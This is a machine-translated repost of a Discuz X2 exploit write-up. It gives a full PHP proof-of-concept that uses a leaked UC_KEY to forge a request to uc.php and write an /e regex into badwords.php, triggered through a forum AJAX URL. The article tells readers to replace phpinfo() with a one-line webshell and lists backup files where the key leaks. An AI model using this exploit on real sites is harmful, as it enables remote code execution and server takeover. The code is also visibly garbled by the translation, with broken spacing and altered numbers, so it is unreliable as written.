Discuz use Uc_key for front Getshell

Source: Internet
Author: User
Tags phpinfo

Source: http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html

The malicious code is saved in/uc_client/data/cache/badwords.php first through Uc_key, and then arbitrary code is executed using Preg_replace ().

Attach the script from the source first. Some code has been modified.

<?php$timestamp = time () +10*3600; $host = "IP Address"; $agent = MD5 ("mozilla/5.0" (Windows NT 6.1; rv:27.0) gecko/20100101 firefox/27.0 "), $uc _key=" site Uc_key "; $code =urlencode (_authcode (" Agent= $agent &time=$ Timestamp&action=updatebadwords ", ' ENCODE ', $uc _key)); $cmd 1= ' <?xml version=" 1.0 "encoding=" Iso-8859-1 "?> <root><item id= "0" ><item id= "FindPattern" >/(. *)/e</item><item id= "Replacement" > Phpinfo ();</item></item></root> '; $html 1 = Send ($cmd 1); Echo $html 1;function Send ($cmd) {global $    Host, $code;  $message = "post/discuz_x2/api/uc.php?code=". $code. "    Http/1.1\r\n ";    $message. = "Accept: */*\r\n"; $message. = "Referer:". $host. "    \ r \ n ";    $message. = "accept-language:zh-cn\r\n";    $message. = "content-type:application/x-www-form-urlencoded\r\n"; $message. = "user-agent:mozilla/5.0 (Windows NT 6.1;    rv:27.0) gecko/20100101 firefox/27.0\r\n "; $message. = "Host:". $host. "    \ r \ n "; $message. = "Content-length:". strlen ($cmd). "\ r \ n ";    $message. = "connection:close\r\n\r\n";    $message. = $cmd;    $fp = Fsockopen ($host, 80);    Fputs ($fp, $message);    $resp = ";    while ($fp &&!feof ($fp)) $resp. = Fread ($fp, 1024); return $RESP;}    function _authcode ($string, $operation = ' DECODE ', $key = ', $expiry = 0) {$ckey _length = 4;    $key = MD5 ($key? $key: Uc_key);    $keya = MD5 (substr ($key, 0, 16));    $KEYB = MD5 (substr ($key, 16, 16)); $KEYC = $ckey _length?    ($operation = = ' DECODE '? substr ($string, 0, $ckey _length): substr (MD5 (Microtime ()),-$ckey _length)): ";    $cryptkey = $keya. MD5 ($keya. $KEYC);    $key _length = strlen ($cryptkey); $string = $operation = = = ' DECODE '? Base64_decode (substr ($string, $ckey _length)): sprintf ('%010d ', $expiry? $expiry + Time (): 0). substr (MD5 ($string. $keyb    ), 0, (+). $string;    $string _length = strlen ($string);    $result = ";    $box = Range (0, 255);    $rndkey = Array (); for ($i = 0; $i <= 255; $i + +) {$rndkey [$i] = Ord ($cryptkey [$I% $key _length]);        } for ($j = $i = 0; $i <, $i + +) {$j = ($j + $box [$i] + $rndkey [$i])% 256;        $tmp = $box [$i];        $box [$i] = $box [$j];    $box [$j] = $tmp;        } for ($a = $j = $i = 0; $i < $string _length; $i + +) {$a = ($a + 1)% 256;        $j = ($j + $box [$a])% 256;        $tmp = $box [$a];        $box [$a] = $box [$j];        $box [$j] = $tmp;    $result. = Chr (ord ($string [$i]) ^ ($box [($box [$a] + $box [$j])% 256])); if ($operation = = ' DECODE ') {if (substr ($result, 0, ten) = = 0 | | substr ($result, 0,)-time () > 0) && Amp        SUBSTR ($result, ten, +) = = substr (MD5 ($result, $keyb), 0, (+)) {return substr ($result, 26);        } else {return ';    }} else {return $KEYC. Str_replace (' = ', ' ', Base64_encode ($result)); }}?>

  

The entire POC should be modified in places that are everywhere:

$host, $uc _key,<item id= "Replacement" >phpinfo (); </item>, $message = "post/discuz_x2/api/uc.php?code=". $ Code. " Http/1.1\r\n ";

The first place is the address of the website: fill the IP or domain name is OK, the second is to obtain the Uc_key, generally is the administrator can see, the third is phpinfo (); , modified into a sentence of the script, the fourth is the site directory, may be placed in the level two directory.

Look at the POC, is to construct a code and XML data, and then send to/api/uc.php, followed by this PHP file

$code = @$_get[' code '];p arse_str (Authcode ($code, ' DECODE ', Uc_key), $get);

You can see that the $code is decrypted and the parameter resolution is registered as a variable using the PARSE_STR () function.

$post = Xml_unserialize (file_get_contents (' php://input '));

Read the contents of the post and parse the content with Xml_unserialize ()

See here, $action =updatebadwords, there is a section code echo $UC _note-> $get [' Action '] ($get, $post); , executes the updatebadwords () function, which has if the value of $get[' action ' is determined, so it cannot cause code execution.

function Updatebadwords ($get, $post) {Global $_g;if (! Api_updatebadwords) {return api_return_forbidden;} $data = Array (), if (Is_array ($post)) {foreach ($post as $k = $v) {$data [' FindPattern '] [$k] = $v [' FindPattern ']; $data [' Replace ' [$k] = $v [' Replacement '];}} $cachefile = Discuz_root. /uc_client/data/cache/badwords.php '; $fp = fopen ($cachefile, ' w '); $s = "<?php\r\n"; $s. = ' $_cache[\ ' badwords\ '] = '. Var_export ($data, TRUE). "; r\n "; Fwrite ($fp, $s); fclose ($FP);

Loop out the post data and assign the value of FindPattern replacement two to $data, and then write the/uc_client/data/cache/badwords.php file

Put the data in, then you have to take the data out of the line, to see where to take.

According to the content of the article, the trigger point is:/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1 &action=checkusername&username=dddd

Based on the Discuz MVC framework, the/source/module/forum/forum_ajax.php is called

if ($_g[' gp_action ' = = ' Checkusername ') {$username = Trim ($_g[' gp_username ')); $usernamelen = Dstrlen ($username); if ($ Usernamelen < 3) {showmessage (' profile_username_tooshort ', ', ' array (), array (' handle ' = False));} elseif ($ Usernamelen >) {showmessage (' profile_username_toolong ', ', Array (), array (' handle ' = = False));} Loaducenter (); $ucresult = Uc_user_checkname ($username);

The Uc_user_checkname () function was called

function Uc_user_checkname ($username) {return Call_user_func (uc_api_func, ' user ', ' check_username ', Array (' username ') = $username));}

Uc_api_func default is to call Uc_api_mysql

Define (' Uc_api_func ', uc_connect = = ' MySQL '? ' Uc_api_mysql ': ' Uc_api_post ');

  

So call the Uc_api_mysql (' user ', ' check_username ', Array (' username ' = $username))

function Uc_api_mysql ($model, $action, $args =array ()) {Global $uc _controls;if (Empty ($uc _controls[$model])) {Include_ Once uc_root. /lib/db.class.php '; include_once uc_root. /model/base.php '; include_once uc_root. " /control/$model. php "; eval (" \ $uc _controls[' $model '] = new {$model}control (); ");} if ($action {0} = ' _ ') {$args = Uc_addslashes ($args, 1, TRUE); $action = ' on ' $action; $uc _controls[$model]->input = $arg S;return $uc _controls[$model]-> $action ($args);} else {return ';}}

  

You can see $action reorganized into Oncheck_username, and call Oncheck_username ()

Follow the Oncheck_username () function, which is located in/uc_client/control/user.php called the _check_username () function.

function _check_username ($username) {$username = Addslashes (Trim (stripslashes ($username))); if (!$_env[' user ']-> Check_username ($username)) {return uc_user_check_username_failed;} elseif (!$_env[' USER ']->check_usernamecensor ($username)) {return uc_user_username_badword;} ElseIf ($_env[' user ']->check_usernameexists ($username)) {return uc_user_username_exists;} return 1;}

  

Follow the Check_usernamecensor () function

function Check_usernamecensor ($username) {$_cache[' badwords ') = $this->base->cache (' Badwords '); $ Censorusername = $this->base->get_setting (' censorusername '); $censorusername = $censorusername [' Censorusername ']; $censorexp = '/^ ('. Str_replace (' \\* ', ' \ r \ n ', '), Array ('. * ', ' | ', '), Preg_quote (($ Censorusername = Trim ($censorusername)), '/')) $/i '; $usernamereplaced = isset ($_cache[' badwords ' [' FindPattern ']) &&!empty ($_cache[' badwords '] [' FindPattern '])? @preg_replace ($_cache[' badwords ' [' FindPattern '], $_cache[' badwords ' [' Replace '], $username): $username; usernamereplaced! = $username) | | ($censorusername && Preg_match ($censorexp, $username))) {return FALSE;} else {return TRUE;}}

Get the contents of Badwords and put him into the array $_cache[' badwords ']

Then there is the sentence: @preg_replace ($_cache[' badwords ' [' FindPattern '], $_cache[' badwords ' [' Replace '], $username)

That's exactly where we first changed, which is what we can control, and that's why the code executes.

After running the POC, you will be able to execute the code after accessing the following page.

/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action= Checkusername&username=dddd

Be careful of the leaks of uc_key, there are so several ways,

/config/config_ucenter.php.bak

/uc_server/data/cache/apps.php.bak

There is the administrator weak password login to the backstage to get Uc_key.

Discuz use Uc_key for front Getshell

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.